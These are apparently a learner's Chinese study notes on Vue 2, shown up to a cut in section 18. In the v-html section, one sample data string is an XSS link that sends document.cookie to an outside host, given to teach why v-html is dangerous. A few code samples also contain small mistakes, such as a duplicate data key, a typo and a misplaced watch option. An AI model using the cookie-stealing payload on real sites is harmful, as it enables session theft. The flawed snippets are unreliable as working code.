Vue2学习笔记

1. 初识Vue

1.想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象;
2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
3.root容器里的代码被称为【Vue模板】;
4.容器与实例一一对应
5.root容器通过{{XXX}}读取data属性,且里面为JS表达式。(区分JS表达式和JS语句(代码))

示例:

    Vue.config.productionTip = false;//阻止 vue 在启动时生成生产提示
    //创建Vue实例对象,
    new Vue({
        el: '#root',    //el(element)指定当前Vue实例为哪个容器服务,值通常为css选择器字符串
        data: {         //data中用于存储数据,数据供el所指定的容器去使用,
            name: '搞',
        }
    })

2. 模板语法

2.1 插值语法

  • 功能:用于解析标签体的内容;
  • 写法:{{XXX}}读取data属性,且里面为JS表达式;

2.2 指令语法

  • 功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
    举例: v-bind:href="xxx"或简写为:href="xx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性

备注: Vue中有很多的指令,且形式都是v-xxx,此处只是拿v-bind举例

3. 数据绑定

Vue中有2种数据绑定的方式:

    1. 单向绑定(v-bind):数据只能从data流向页面。
    1. 双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向da

1.双向绑定一般都应用在表单类元素上(如: input、select等)
2.v-model:value可以简写为v-model,因为v-model默认收集的就是value值。

4. el与data的两种写法

  1. el有2种写法
    (1).new Vue时候配置el属性。
    (2).先创建Vue实例,随后再通过vm.$mount('#root')指定el的值。
    (容器里面的模板交给Vue实例进行解析,解析之后将内容挂载(mount)到页面指定位置上)
  2. data有2种写法
    (1).对象式–data{}
    (2).函数式–data() { return { } }
    在组件时,data必须使用函数式,否则会报错
  3. 一个重要的原则:
    由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了(而是全局对象window)。
    箭头函数没有自己的this,要往上一级找
    const vm = new Vue({
        // el: '#root',//el第一种写法
        data: {name: '搞成',}//data第一种写法
        data: function () {//data第二种写法,简写为 data(){ return{ }}
            return {
                name: '搞成',
            }
        }
    })
    console.log(vm);
    vm.$mount('#root')//el第二种写法

5. MVVM模型

  1. M:模型(Model):对应data中的数据
  2. V:视图(View):模板
  3. VM:视图模型(ViewModel):Vue实例对象

在这里插入图片描述

  1. data中所有的属性,最后都出现在了vm身上。
  2. vm身上所有的属性及 Vue原型上所有属性,在Vue模板中都可以直接使用。

6. 数据代理

6.1 数据代理

通过一个对象代理对另一个对象中属性的操作(读/写)叫数据代理。

  • Object.defineProperty(obj, prop, descriptor)

    obj:要定义属性的对象。
    prop:要定义或修改的属性的名称
    descriptor:要定义或修改的属性描述符

    let number = 18;
    let person = {
        name: 'GC',
        sex: '男',
    }
    Object.defineProperty(person, 'age', {
        // value: 20,
        // enumerable: true,//控制属性是否可以枚举(遍历),默认值时false
        // writable: true,//控制属性是否可以被修改,默认值时false
        // configurable: true,//控制属性是否可以被删除,默认值时false

        // 当有人读取person的age属性时,get函数(getter)就会被调用,且返回值就是age的值
        get() {
            console.log('读取了age属性');
            return number;
        },
        // 当有人修改person的age属性时,set函数(setter)就会被调用,且会收到修改的具体值
        set(value) {
            console.log('修改了age属性,值为' + value);
            number = value;
        }

    })
    console.log(Object.keys(person));//遍历person对象中的所有属性名
    for (const key in person) {
        console.log(person[key]);
    }

6.2 最简单的数据代理

    let vm = {};
    let data = {
        name: 'ds',
        age: 18,
    };
    Object.defineProperty(vm, 'age', {
        get() {
            return data.age;
        },
        set(value) {
            data.age = value;
        },
    });
  1. Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
  2. Vue中数据代理的好处:更加方便的操作data中的数据
  3. 基本原理:
    (1)通过object.defineProperty()把data对象中所有属性添加到vm上;
    (2)为每一个添加到vm上的属性,都指定一个getter/setter;
    (3)在getter/setter内部去操作(读/写)data中对应的属性。
    let data = {
        name:'搞成'
    }
    const vm = new Vue{
        el:'#root',
        data
    }

    vm._data = options.data(配置对象的data) = data(传递的data)

7. 事件处理

7.1 事件的基本使用

  1. 使用v-on :xxx或@xxx绑定事件,其中xxx是事件名;绑定事件的时候:@xxx=“yyy” yyy可以写一些简单的语句;
  2. 事件的回调需要配置在methods对象中,最终会在vm上;
  3. methods中配置的函数,不要用箭头函数!否则this就不是vm了;
  4. methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或组件实例对象;
    5. @click="demo”@click="demo($event)”效果一致,但后者可以传参;
    <div id="root">
        <h1>我叫{{name}}</h1>
        <button v-on:click="showInfo1">点击1(不传参)</button>
        <button @click="showInfo2($event,666)">点击2(传参)</button>
    </div>
    const vm = new Vue({
        el: '#root',
        data: {
            name: '搞成',
        },
        methods: {
            showInfo1() {
                alert('信息1')
            },
            showInfo2(event, number) {
                console.log(event.target.innerText);
                console.log(this);//此处的this是vm(Vue)
                console.log(event, number);
            }
        }
    })

7.2 事件修饰符

  1. prevent: 阻止默认事件(常用);
  2. stop:阻止事件冒泡(常用);
  3. once:事件只触发一次(常用);
  4. capture:使用事件的捕获模式;
  5. self:只有event.target是当前操作的元素时才触发事件;
  6. passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
<div id="root">
    <!-- 阻止默认事件(常用) -->
    <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>

    <!-- 阻止事件冒泡(常用) -->
    <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
        <!-- 修饰符可以连续写 -->
        <!-- <a href="http://www.qq.com" @click.prevent.stop="showInfo">点我提示</a> -->
    </div>

    <!-- 事件只触发一次(常用) -->
    <button @click.once="showInfo">点我提示信息</button>

    <!-- 使用事件的捕获模式 -->
    <div class="box1" @click.capture="showMsg(1)">捕获到的时候就直接触发
        div1
        <div class="box2" @click="showMsg(2)">
            div2
        </div>
    </div>

    <!-- 只有event.target是当前操作的元素时才触发事件; -->
    <div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
    </div>

    <!-- 事件的默认行为立即执行,无需等待事件回调执行完毕; -->
    <!-- scroll是滚动条滚动,passsive没有影响 -->
    <!-- wheel是鼠标滚轮滚动,passive有影响 -->
    <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
    </ul>
</div>
    new Vue({
        el: '#root',
        data: {
            name: '搞成'
        },
        methods: {
            showInfo(e) {
                alert('同学你好!')
                // console.log(e.target)
            },
            showMsg(msg) {
                console.log(msg)
            },
            demo() {
                for (let i = 0; i < 100000; i++) {
                    console.log('#')
                }
                console.log('累坏了')
            }
        }
    })

7.3 键盘事件

  1. Vue中常用的按键别名:

回车 => enter
删除 => delete(捕获"删除”和“退格”键)
退出 => esc
空格 => space
换行 => tab(必须配合 @keydown.tab 使用)
上 => up
下 => down
左 => left
右 => right

  1. Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转为kebab-case(短横线命名,如大写键:caps-lock)
  2. 系统修饰键(用法特殊):ctrl、alt、shift、meta
    (1). 配合keyup使用:按下修饰键的同时,再按下其他键,随后释放其他键,事件才被触发。
    (2). 配合keydown使用:正常触发事件。
  3. 也可以使用keyCode去指定具体的按键(不推荐)
  4. Vue.config.keyCodes.自定义键名=键码,可以去定制按键别名

8. 计算属性

8.1 插值法与methods实现

    <div id="root">
        姓:<input type="text" v-model="firstName"><br>
        名:<input type="text" v-model="lastName"><br>
        <!-- 插值法实现 -->
        {{firstName.slice(0,3)}}-{{lastName}}<br>
        <!-- methods方法实现 -->
        {{fullname()}}<br>
        <!-- 计算属性(computed)实现 -->
        {{flname}}
    </div>
    new Vue({
        el: '#root',
        data: {
            firstName: '张',
            lastName: '三',
        },
        methods: {  methods实现
            fullname() {
                return this.firstName + '-' + this.lastName;
            }
        },
        computed: { 计算属性实现
            flname: {
                // 当有人读取fullName时,get就会被调用,且返回值就作为fullName的值
                // get调用时间:1. 初次读取fullName时。2. 所依赖的数据发生变化时。
                get() {
                    console.log('get被调用了');
                    return this.firstName + '-' + this.lastName;
                },
                // set在flname被修改是调用。 可以主动在控制台修改fullName来查看情况
                set(value) {
                    console.log('set', value);
                    const arr = value.split('-');
                    this.firstName = arr[0]
                    this.lastName = arr[1]
                }
            }
            /* flname() {   //简写成函数的形式,只能被读取,即会自动调用get方法
                console.log('get被调用了');
                return this.firstName + '-' + this.lastName;
            } */
        }
    })

8.2 计算属性

  1. 定义:要用的属性不存在,要通过已有属性计算得来;
  2. 原理:底层借助了objcet.defineproperty方法提供的getter和setter;
  3. get函数什么时候执行?
    (1).初次读取时会执行一次;
    (2).当依赖的数据发生改变时会被再次调用。
  4. 优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便;
    (缓存:methods被模板读取几次就被调用几次,而计算属性被模板读取多次调用一次就行。)

备注:
(1).计算属性最终会出现在vm上,直接读取使用即可。
(2).如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变。

9. 监视属性

9.1 监视属性watch

  1. 当被监视的属性变化时,回调函数自动调用,进行相关操作
  2. 监视的属性必须存在,才能进行监视!!
  3. 监视的两种写法:
    (1).new Vue时传入watch配置
    (2).通过vm.$watch监视
    <div id="root1">今天天气{{info}}
        <button v-on:click="changeWeather()">切换</button>
    </div>
    const vm = new Vue({
        el: '#root1',
        data: {
            isHot: true,
            numbers: {
            a: 1,
            b: 1,
            c: {
                d: {
                    e: 100  //Vue自身可以监测对象内部值的改变
                }
            }
      }
        },
        computed: {
            info() {
                return this.isHot ? '炎热' : '凉爽'
            }
        },
        methods: {
            changeWeather() {
                this.isHot = !this.isHot
            }
        },
        watch: {    //wacth第一种写法,创建Vue实例时就明白监视谁
            immediate: true,    //初始化就可以调用一次handler
            isHot: {    //info 同样可以被监视
                // 当isHto发生改变时调用handler
                handler(newValue, oldValue) {
                    console.log('isHot被修改了', newValue, oldValue);
                }
            }
        }
    })
    // watch属性的第二种写法,根据用户的行为监视后再写这个API
    vm.$watch('isHot', {
        immediate: true,
        handler(newValue, oldValue) {
            console.log('isHot被修改了', newValue, oldValue);
        }
    })

9.2 深度监视

深度监视
(1).Vue中的watch默认不监测对象内部值的改变(一层)。
(2).配置deep:true可以监测对象内部值改变(多层)。

备注:
(1).Vue自身可以监测对象内部值的改变(不管属性里面多少层的值被改变),但Vue提供的watch默认不可以!
(2).使用watch时根据数据的具体结构,决定是否采用深度监视。

*监视多级结构中某个属性的变化,将属性名写完整–'number.a'*
'numbers.a':{handler(){console.log('a被改变了')}}

<div id="root">
        <h3>a的值是:{{numbers.a}}</h3>
        <button @click="numbers.a++">点我让a+1</button>
        <h3>b的值是:{{numbers.b}}</h3>
        <button @click="numbers.b++">点我让b+1</button>
        <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
        <!-- {{numbers.c.d.e}} -->
    </div>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: '#root',
        data: {
            isHot: true,
            numbers: {
                a: 1,
                b: 1,
                c: {
                    d: {
                        e: 100
                    }
                }
            }
        },
        watch: {
            // 监视多级结构中某个属性的变化
            /* 'numbers.a':{
                        handler(){
                            console.log('a被改变了')
                        }
                    } */
            // Vue可以监视多级结构中所有属性的变化,但提供的watch默认不行,要加入   deep:true
            numbers: {
                deep: true,     //深度监视, 监视多层
                handler() {
                    console.log('numbers改变了')
                }
            }
        }
    })
  • 如果监视属性除了handler没有其他配置项的话,可以进行简写
watch: {
      //简写
      isHot(newValue, oldValue) {
        console.log('isHot被修改了', newValue, oldValue)
      }
    }

  //简写
  // vm.$watch('isHot', funtion(newValue, oldValue){
  // 	console.log('isHot被修改了', newValue, oldValue, this)
  // })

9.3 computed和watch之间的区别

  1. computed能完成的功能,watch都可以完成。
  2. watch能完成的功能,computed不一定能完成,例如: watch可以进行异步操作(如下面的延时函数)。
    两个重要的小原则:
    (1)所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm或组件实例对象。
    (2)所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数、Promise的回调函数等),最好写成箭头函数,这样this的指向才是vm或组件实例对象。
    new Vue({
    el:'#root',
    data:{
        firstName:'张',
        lastName:'三',
        fullName:'张-三'
    },
    watch:{
        firstName(val){
            setTimeout(()=>{    //必须使用箭头函数,不然this指向的就不是Vue了
                this.fullName = val + '-' + this.lastName
            },1000);
        },
        lastName(val){
            this.fullName = this.firstName + '-' + val
        }
    }
    })

10. 绑定样式

10.1 绑定class样式

字符串写法
绑定class样式–字符串写法,适用于:样式的类名不确定,需要动态指定

	// .normal{background-color: skyblue;}
    // <div id="root"><div class="basic" :class="mood" @click="changeMood">{{name}}</div></div>

	const vm = new Vue({
        el:'#root',
        data:{
            name:'搞成',
            mood:'normal'
        },
        methods:{
            changeMood(){
                cosnt arr = ['class1','class2','class3'];
                this.mood = arr[Math.floor(Math.random()*3)]    //点击随机切换class样式
            }
        }
    })

数组写法
绑定class样式–数组写法,适用于:要绑定的样式个数不确定、名字也不确定

// <div id="root"><div class="basic" :class="classArr">{{name}}</div></div>

	const vm = new Vue({
        el:'#root',
        data:{
            classArr: ['class1','class2','class3']
       }
    })

对象写法
绑定class样式–对象写法,适用于:要绑定的样式个数确定、名字也确定,但要动态决定用不用

    // <div id="root"><div class="basic" :class="classObj">{{name}}</div></div>
	const vm = new Vue({
        el:'#root',
        data:{
            classObj:{
                class1:false,
                class2:false,
			}
        }
    })

10.2 绑定style样式

字符串写法
绑定style样式-- :style = "fontSize:xxx"其中xxx是动态值

    // <div id="root"><div class="basic" :style="styleObj">{{name}}</div></div>
	const vm = new Vue({
        el:'#root',
        data:{
            styleObj:{
                fontSize: '40px',
                color:'red',
			}
        }
    })

数组写法
绑定style样式-- :style="[a,b]"其中a、b是样式对象

    // <div id="root"><div class="basic" :style="styleArr">{{name}}</div></div>
	const vm = new Vue({
        el:'#root',
        data:{
            styleArr:[
                {
                    fontSize: '40px',
                    color:'blue',
                },
                {
                    backgroundColor:'gray'
                }
            ]
        }
    })

11.条件渲染

  1. v-if
    (1).v-if="表达式"
    (2).v-else-if="表达式"
    (3).v-else="表达式",适用于:切换频率较低的场景。
    特点:不展示的DOM元素直接被移除。
    注意:v-if可以和v-else-ifv-else一起使用,但要求结构不能被“打断”。
  2. v-show
    写法: v-show="表达式"
    适用于:切换频率较高的场景。
    特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉
  3. 备注:使用v-if的时,元素可能无法获取到(v-if="flase"时,从结构上就没了),
    而使用v-show一定可以获取到(v-show="flase"只是被隐藏了)。
  • template只能配合v-if不能配合v-show
    <div id="root">
        我叫{{name}}<br>
        <button @click="n++">点击n+1</button>{{n}}
        <!-- 使用v-show做条件渲染 -->
        <h2 v-show="!a">我是谁</h2>
        <h2 v-show="a">我恁爹</h2> <br>
        <!-- 使用v-if做条件渲染 -->
        <h2 v-if="!a">我是谁</h2>
        <h2 v-if="1 === 1">我恁爹</h2> <br>
        <!-- v-else和v-else-if及v-else -->
        <div v-if="n === 1"></div>
        <div v-else-if="n === 2">嘿嘿</div>
        <div v-else="n === 3">好好好</div>
        <!-- v-if与temolate的配合使用 -->
        <template v-if="n === 1">
            <h2>你好</h2>
            <h2>他好</h2>
            <h2>我好</h2>
        </template>
    </div>
    new Vue({
        el: '#root',
        data: {
            name: '搞成',
            n: 0,
            a: true
        }
    })

12. 列表渲染

12.1 v-for指令

  1. 用于展示列表数据
  2. 语法: v-for="(item,index) in xxx" :key="yyy"
  3. 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<div id="root">
    <!-- 遍历数组 -->
    <ul>
        <li v-for="(p,index) in persons" :key="index"> {{p.name}}-{{p.age}} </li>
    </ul>
    <!-- 遍历对象 -->
    <ul>
        <li v-for="(value,k) in car" :key="k"> {{k}}-{{value}} </li>
    </ul>
    <!-- 遍历字符串 -->
    <ul>
        <li v-for="(char,index) in str" :key="index"> {{char}}-{{index}} </li>
    </ul>
    <!-- 遍历指定次数 -->
    <ul>
        <li v-for="(numbers,index) in 5" :key="index"> {{numbers}}-{{index}} </li>
    </ul>
</div>
    new Vue({
        el: '#root',
        data: {
            name: '搞成',
            persons: [
                { id: "0", name: "张三", age: "18" },
                { id: "1", name: "李四", age: "14" },
                { id: "2", name: "王五", age: "17" },
            ],
            car: {
                name: '奥迪', price: '70万', color: '黑色'
            },
            str: 'hello',
        }
    })

12.2 key的作用于原理

面试题:react、vue中的key有什么作用?(key的内部原理)

  1. 虚拟DOM中key的作用:
    key是虚拟DOM对象的标识,当状态中的数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
  2. 对比规则:
    (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
    ①. 若虚拟DOM中内容没变,直接使用之前的真实DOM!
    ②. 若虚拟DOM中内容变了,则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
    (2).旧虚拟DOM中未找到与新虚拟DOM相同的key
    创建新的真实DOM,随后渲染到到页面。
  3. 用index作为key可能会引发的问题:
    (1).若对数据进行:逆序添加、逆序删除等破坏顺序操作:
    会产生没有必要的真实DOM更新==>界面效果没问题,但效率低。
    (2).如果结构中还包含输入类的DOM:
    会产生错误DOM更新==>界面有问题。
  4. 开发中如何选择key? :
    (1).最好使用每条数据的唯一标识作为key,比如id、手机号、身份证号、学号等唯一值;
    (2).如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。

在这里插入图片描述
在这里插入图片描述

12.3 列表过滤

    // <input type="text" v-model="keyWord">
    // <ul><li v-for="(p,index) in filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}}</li></ul>

    new Vue({
        el: '#root',
        data: {
            keyWord: '',
            persons: [
                { id: '001', name: '马冬梅', age: 19, sex: '女' },
                { id: '002', name: '周冬雨', age: 20, sex: '女' },
                { id: '003', name: '周杰伦', age: 21, sex: '男' },
                { id: '004', name: '温兆伦', age: 22, sex: '男' }
            ],
            filPersons: []  //filter过滤后不影响原数组,所以将过滤后的数组写到新的空数组中
        },

        // 通过侦听属性进行列表过滤
        watch: {
            keyWord: {
                immediate: true,//indexOf对于空串的结果是0,这样上面代码初始过滤就是全部数据
                handler(val) {
                    this.filPersons = this.persons.filter((p) => {
                        return p.name.indexOf(val) !== -1
                    })
                }
            }
        },

        // 第二种用计算属性进行列表过滤,不需要创建filPersons:[]
        computed: {     //计算属性初次读取时会执行一次,依赖的数据发生改变时会被再次调用
            filPersons() {
                return this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1
                })
            }
        }
    })

12.4. 列表排序

    /* <input type="text" v-model="keyWord">
    <button @click="sortType=2">升序</button>
    <button @click="sortType=1">降序</button>
    <button @click="sortType=0">原顺序</button>
    <ul><li v-for="(p,index) in filPersons" :key="p.id"> {{p.name}}-{{p.age}}-{{p.sex}}</li></ul> */

    new Vue({
        el: '#root',
        data: {
            keyWord: '',
            sortType: 0,//0为原顺序,1为降序,2为升序
            persons: [
                { id: '001', name: '马冬梅', age: 30, sex: '女' },
                { id: '002', name: '周冬雨', age: 20, sex: '女' },
                { id: '003', name: '周杰伦', age: 25, sex: '男' },
                { id: '004', name: '温兆伦', age: 18, sex: '男' }
            ],
        },
        computed: {
            filPersons() {
                const arr = this.persons.filter((p) => {
                    return p.name.indexOf(this.keyWord) !== -1

                })
                console.log(arr);
                if (this.sortType) {
                    arr.sort((a, b) => {
                        return this.sortType === 1 ? b.age - a.age : a.age - b.age
                    })
                }
                return arr
            }
        }
    })

13. Vue监视数据

13.1 Vue监视数据的原理_对象

    let data = {
        name: 'GC',
        address: 'gg'
    }
    const obs = new Observer(data)
    console.log(obs);
    let vm = {};
    vm._data = data = obs;
    function Observer(obj) {
        const key = Object.keys(obj);
        key.forEach((k) => {
            Object.defineProperty(this, k, {
                get() {
                    return obj[k];
                },
                set(value) {
                    obj[k] = value;
                },
            });
        })
    }

13.2 Vue.set

Vue.set(target, propertyName/index, value)vm.$set(target, propertyName/index, value)

{Object | Array} target 目标
{string | number} propertyName/index 属性名
{any} value 值

向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 this.myObject.newProperty = ‘hi’)

  • 注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。

只能给data里面的某一个对象添加属性,而不能给data追加属性

13.3 Vue监视数据的原理_数组

Vue 将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新。这些被包裹过的方法包括

push()
pop()
shift()
unshift()
splice()
sort()
reverse()

你可以打开控制台,然后对前面例子的 items 数组尝试调用变更方法。比如 example1.items.push({message: 'Baz'})

13.4 Vue监视数据总结

Vue监视数据的原理:

  1. vue会监视data中所有层次的数据。
  2. 如何监测对象中的数据?
    通过setter实现监视,且要在new Vue时就传入要监测的数据。
    (1).对象中后追加的属性,Vue默认不做响应式处理
    (2).如需给后添加的属性做响应式,请使用如下API:
    Vue.set(target. propertyName/index, value)
    vm.$set(target.propertyName/index,value)
  3. 如何监测数组中的数据?
    通过包裹数组更新元素的方法实现,本质就是做了两件事:
    (1).调用原生对应的方法对数组进行更新。
    (2).重新解析模板,进而更新页面。
  4. 在Vue修改数组中的某个元素一定要用如下方法:
    (1). 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
    (2). Vue.set()或vm.$set()
  • 特别注意:Vue.set()和 vm.$set()不能给vm或 vm的根数据(vm._data)对象添加属性!!!

14. 收集表单数据

收集表单数据:
若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组

备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤

<div id="root">
    <form @click.prevent="demo">
        <label for="demo1">账号:</label>
        <input type="text" id="demo1" v-model.trim="userInfo.account"> <br /><br />
        <!-- v-model.trim输入时的前后空格不进行收集 -->
        密码:<input type="password" v-model="userInfo.password"> <br /><br />
        年龄:<input type="number" v-model.number="userInfo.age"> <br /><br />
        <!-- 第一个number控制输入数字,第二个number控制收集的数据为数字类型 -->
        性别:
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br /><br />
        <!-- 单选框加入value -->
        爱好:
        学习<input type="checkbox" v-model="userInfo.hobby" value="study">
        打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
        吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat"><br /><br />
        <!-- 复选框加入value,同时v-model为数组形式 -->
        所属校区
        <select v-model="userInfo.city">
            <option value="">请选择校区</option>
            <option value="beijing">北京</option>
            <option value="shanghai">上海</option>
            <option value="shenzhen">深圳</option>
            <option value="wuhan">武汉</option>
        </select><br /><br />
        其他信息:<textarea v-model.lazy="userInfo.message"></textarea><br /><br />
        <input type="checkbox" v-model="userInfo.agree">阅读并接受
        <a href="#">《用户协议》</a><br /><br />
        <button>提交</button>
    </form>
</div>
    Vue.config.productionTip = false
    new Vue({
        el: '#root',
        data: {
            userInfo: {
                account: '',
                password: '',
                sex: 'male',
                hobby: [],
                city: '',
                message: '',
                agree: '',
                age: '',
            }
        },
        methods: {
            demo() {
                console.log(JSON.stringify(this.userInfo));
            }
        },
    })

15. 过滤器

定义:对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)
语法:
1. 注册过滤器:Vue.filter(name,callback)new Vue{filters:{}}
2. 使用过滤器:{{ xxx│过滤器名}} 或 v-bind:属性=“xxx│过滤器名”,

备注:
1.过滤器也可以接收额外参数、多个过滤器也可以串联,
2.并没有改变原本的数据,是产生新的对应的数据。

<div id="root">
        <h3>计算属性实现:{{fmtime}}</h3>
        <h3>methods属性实现:{{getFmtime()}}</h3>
        <h3>过滤器实现:{{time | timeFormat}}</h3>
        <h3>过滤器实现(传参):{{time | timeFormat('YYYY_MM_DD') | mySlice}}</h3>
        <!-- time传给timeFormat再传给mySlice -->
</div>
<div id="root2">{{name | mySlice}}</div>
    //全局过滤器,必须在Vue实例之前
    Vue.filter('mySlice', function (value) {
        return value.slice(0, 4)
    });
    new Vue({
        el: '#root',
        data: {
            time: 1658995670583,
        },
        computed: {
            fmtime() {
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        methods: {
            getFmtime() {
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')
            }
        },
        filters: {      //局部过滤器
            timeFormat(value, str = 'YYYY-MM-DD HH:mm:ss') {//过滤器传参,str有值则传值,没值则传默认的
                return dayjs(this.time).format('YYYY-MM-DD HH:mm:ss')//this.time为实时时间
                return dayjs(value).format(str)//value为数据对应的时间
            },
            mySlice(value) {
                return value.slice(0, 4)
            }
        }
    })
    new Vue({
        el: '#root2',
        data: {
            name: '搞成aaaaa',
        }
    })

16. 内置指令

16.1 v-text指令

  1. 作用:向其所在的节点中渲染文本内容。
  2. 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
    <div v-text="name"></div>
    <div v-html="str2"></div>
    new Vue({
        el: '#root',
        data: {
            name: '张三',
            str: '<h3>你好啊!</h3>',
            str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>快来!</a>',
        }
    })

16.2 v-html指令

  1. 作用:向指定节点中渲染包含html结构的内容。
  2. 与插值语法的区别:
    (1).v-html会替换掉节点中所有的内容,{{xx}}则不会。
    (2).v-htm1可以识别htm1结构。
  3. 严重注意:v-html有安全性问题!!!
    (1).在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
    (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!

16.3 v-cloak

该指令(没有值):

  1. 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
  2. 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题(可以让这种未经解析的模板别跑到页面上去)。
/* 选择=所有的v-cloak属性 */
    [v-cloak]{      
        display:none;
    }
```html
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
/* 延时五秒跳转效果 */
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    new Vue({
        el:'#root',
        data:{
            name:'搞'
        }
    })

16.4 v-once指令

  1. v-once所在节点在初次动态渲染后,就视为静态内容了。
  2. 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。

16.5 v-pre指令

  1. 跳过其所在节点的编译过程。
  2. 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。

17. 自定义指令

指令的this指向window,因为不需要vm相关的资源,需要的数据已经被传进去了(如"n")

  • 定义全局指令与过滤器相同,Vue.directive('fbind',{})

17.1 定义v-big指令

定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。

  • big函数何时会被调用?1.指令与元素成功绑定时(一上来);2.指令所在的模板被重新解析时。
    <div id="root">
        <h2>当前n值:<span v-text="n"></span></h2>
        <h2>放大之后的n值:<span v-big="n"></span></h2>
        <h2>放大之后的n值:<span v-big-number="n"></span></h2>
        <button @click="n++">点击</button>
    </div>
    new Vue({
        el: '#root',
        data: {
            name: '搞成',
            n: 1
        },
        directives: {
            big(element, binding) {
                element.innerText = binding.value * 10
            },
            'big-number'(element, binding) {
                element.innerText = binding.value * 100
            }
        }
    })

17.2 定义v-fbind指令

定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
fbind:{
(1)bind(){}:指令与元素成功绑定时(一上来);
(2)inserted(){}:指令所在元素被插入页面时;
(3)update(){}:指令所在的模板被重新解析时。}

    <div id="root">
        <h2>当前n值:<span v-text="n"></span></h2>
        <h2>放大之后的n值:<span v-big="n"></span></h2>
        <button @click="n++">点击</button>
        <input type="text" v-fbind="n">
    </div>
    new Vue({
        el: '#root',
        data: {
            name: '搞成',
            n: 1
        },
        directives: {
            // big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
            big(element, binding) {
                element.innerText = binding.value * 10
            },
            fbind: {       //写成对象的形式,分为三步函数来实现
                //指令与元素成功绑定时(一上来)
                bind(element, binding) {
                    element.value = binding.value
                },
                // 指令所在元素被插入页面时
                inserted(element, binding) {
                    element.focus()
                },
                // 指令所在的模板被重新解析时
                update(element, binding) {
                    element.focus()
                    element.value = binding.value
                }
            }
        }
    })

17.3 自定义指令总结

一、定义语法:
(1).局部指令:
new Vue({ new Vue({
directives:{指令名:配置对象} 或 directives{指令名:回调函数}
}) })
(2).全局指令:
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
(1).bind:指令与元素成功绑定时调用。
(1).inserted:指令所在元素被插入页面时调用。
(3).update:指令所在模板结构被重新解析时调用。
三、备注:
(1).指令定义时不加v-,但使用时要加v-;
(1).指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。

18. 生命周期

18.1 生命周期引导

  1. 又名:生命周期回调函数、生命周期函数、生命周期钩子;
  2. 是什么:Vue在关键时刻帮我们调用的一些特殊名称的函数;
  3. 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的;
  4. 生命周期函数中的this指向是或组件实例对象。
    <div id="root">
        <!-- 动态绑定加:,里面的写成对象的形式,对象{opacity:opacity}同名就简写为{opacity} -->
        <h2 :style="{opacity}">搞成啊</h2>
    </div>
    Vue.config.productionTip = false
    const vm = new Vue({
        el: '#root',
        data: {
